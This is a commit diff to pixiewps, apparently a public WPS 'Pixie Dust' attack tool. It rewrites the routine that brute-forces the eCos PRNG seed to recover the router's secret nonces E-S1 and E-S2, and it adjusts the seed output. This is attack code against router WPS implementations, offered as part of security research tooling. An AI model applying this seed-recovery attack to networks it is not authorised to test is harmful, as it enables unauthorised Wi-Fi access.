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Fixed wrong termination condition with mode 2

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wiire-a 2017-12-19 23:48:08 +01:00
parent 6e60c990f5
commit 57e3309cfe
1 changed files with 14 additions and 14 deletions
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28
src/pixiewps.c
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@ -1108,31 +1108,31 @@ usage_err:
DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLE, p_mode_name[ECOS_SIMPLE]);
uint32_t index = wps->e_nonce[0] << 25; /* Reducing entropy from 32 to 25 bits */
do {
seed = index;
uint_fast8_t i;
uint32_t known = wps->e_nonce[0] << 25; /* Reducing entropy from 32 to 25 bits */
uint32_t counter = 0;
seed = 0;
while (counter < 0x02000000) {
int i;
seed = known | counter;
for (i = 1; i < WPS_NONCE_LEN; i++) {
if (wps->e_nonce[i] != (uint8_t) (ecos_rand_simple(&seed) & 0xff))
if (wps->e_nonce[i] != (uint8_t)(ecos_rand_simple(&seed) & 0xff))
break;
}
if (i == WPS_NONCE_LEN) { /* Seed found */
wps->nonce_seed = index;
wps->s1_seed = seed;
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */
wps->e_s1[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
wps->e_s1[i] = (uint8_t)(ecos_rand_simple(&seed) & 0xff);
wps->s2_seed = seed;
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
wps->e_s2[i] = (uint8_t)(ecos_rand_simple(&seed) & 0xff);
DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed);
DEBUG_PRINT("Seed found");
break;
}
index++;
} while (!(index & 0x02000000));
counter++;
}
if (wps->nonce_seed) { /* Seed found */
if (wps->s1_seed) { /* Seed found */
DEBUG_PRINT("Trying with E-S1: ");
DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN);
@ -1370,7 +1370,7 @@ usage_err:
}
}
else {
if (found_p_mode == RT && wps->nonce_seed == 0)
if ((found_p_mode == RT && wps->nonce_seed == 0) || found_p_mode == ECOS_SIMPLE)
printf("\n [*] Seed N1: -");
else
printf("\n [*] Seed N1: 0x%08x", wps->nonce_seed);